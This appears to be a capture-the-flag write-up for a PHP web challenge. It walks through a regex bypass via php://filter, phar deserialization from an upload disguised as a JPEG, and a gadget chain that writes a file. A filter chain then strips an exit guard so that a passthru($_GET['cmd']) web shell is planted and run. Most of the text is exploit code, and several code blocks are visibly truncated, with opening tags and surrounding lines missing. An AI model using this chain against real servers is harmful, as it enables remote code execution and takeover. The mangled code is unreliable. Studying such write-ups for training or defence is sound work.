Tags: deserialize php filter 

Rating: 5.0

TLDR: To complete this task you need to demonstrate phar deserialization and filter data corruption

You are given deployed html/php files and ip to the server.

Some of the important files / dir
```
/html
- index.php (Read uploaded file)
- old.php (We will use this as deserialization target)
- upload.php (Upload file)
- up/ (Uploaded files are placed here)
```

Before creating our malicious phar payload we need to check if we could trigger it.
We could trigger phar deserialization by using `phar://` wrapper on file manipulation function.
Eg.
- `file_exists('phar://phar.phar') or file_exists('phar://phar.jpeg')`
- `file_get_contents('phar://phar.phar') or file_get_contents('phar://phar.jpeg')`
- other functions like `filesize`, `filemtime`, `is_readable`, etc would also work

```
Index.php

...
if (isset($_GET["img"])) {
if(preg_match('/^(ftp|zlib|https?|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['img'])){
die("no hack !");}

$img=$_GET["img"].'.jpg';
$a='data:image/png;base64,' . base64_encode(file_get_contents($img));
echo "";
```

As shown in the code, preg_match stops program execution if `phar://` wrapper exists in the beginning of the string. And since preg allow us to use `php://` wrapper, we could trigger phar deserilization by using `php://filter/resource=phar://phar.jpeg`

After we know that phar deserilization is triggerable, we need to craft our payload. Because `upload.php` checks image size, we need to craft phar payload as jpeg file.

So first we need to create phar with jpeg header in it
```
phar_create.php
startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$phar->stopBuffering();
```

Run the above code will give you `phar.phar` as jpeg image with 10x10 size.

Our main goal is able to arbitrarily write php code in `up/` folder.

```
old.php
key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class cl2 {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {

}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {

$data = gzcompress($data, 3);
}

$data = "\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}

return false;
}

}
```

the only code that allow us to write arbitrary code is by calling `set` function in `cl2` class.

But how could we create cl2 class and call `set` function while nothing such as `set` function is mentioned in any source codes?
Well the answer is we could call create cl1 and cl2 class and call its function by using phar deserilization.

```
phar_create.php
startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$cl2 = new cl2();
$cl1 = new cl1("aaa", "bbb");
$phar->setMetadata($cl1);
$phar->stopBuffering();
```

By creating cl1 function and set it as metadata. `cl1` class will be created and `__destruct` function will be called when `php://filter/resource=phar://phar.jpeg` is called.

phar deserialization could not only able to call `__destruct` and `__wakeup` functions, but also inject `private`,`protected`, `public` variable inside class.

By using this tricks, we could configure cl1 class to call `set` function in `cl2` class
```
phar_create.php
startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$cl2 = new cl2();
$cl2->writeTimes = 0;
$cl2->options = [
"data_compress" => false,
"prefix" => "",
"serialize" => "strval",
"expire" => 111111111111
];

$cl1 = new cl1($cl2, "bbb.php"); // our RCE php file
$cl1->store = $cl2;
$cl1->key = "bbb.php";
$cl1->autosave = false;
$cl1->cache = [
""
];
$cl1->complete = 1;

$phar->setMetadata($cl1);
$phar->stopBuffering();

```

The above code will called `file_put_contents('bbb.php', PAYLOAD)` so that RCE could be executed.

Even if we could inject any code we want, a stopper written before writing our payload.
```
old.php
....
$data = "\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
...
```

So when we call `http://url/up/bbb.php` the php will be kinda like
```

```

So it is impossible to call our php code without removing the exit stopper.

We could delete the stopper code by using PHP filter. (PHP filter is awesome :D)
More about this see this presentation `https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf`
```
";
$content = "\n";
$content .= json_encode([[$c], 1]);
var_dump($content);
$file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./output;
file_put_contents($file, $content);
```
When this code is executed, it will remove the exit function.

We could include this code in our phar_create.php and this is our final code

```
phar_create.php
startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$cl2 = new cl2();
$cl2->writeTimes = 0;
$cl2->options = [
"data_compress" => false,
"prefix" => "",
"serialize" => "strval",
"expire" => 111111111111
];

$cl1 = new cl1($cl2, "php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=/var/www/html/up/bbb.php");
$cl1->store = $cl2;
$cl1->key = "php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=/var/www/html/up/bbb.php";
$cl1->autosave = false;
$cl1->cache = [
"=3C=3Fphp passthru(\$_GET['cmd']); ?>"
];
$cl1->complete = 1;

$phar->setMetadata($cl1);
$phar->stopBuffering();
```

Rename the `phar.phar` to `phar.jpeg`, upload it and execute phar code in index.php with `php://filter/resource=phar://IMAGE_ID`.
After that execute shell by going to `http://URL/up/bbb.php?cmd=ls`.
The flag could be found on the `/` directory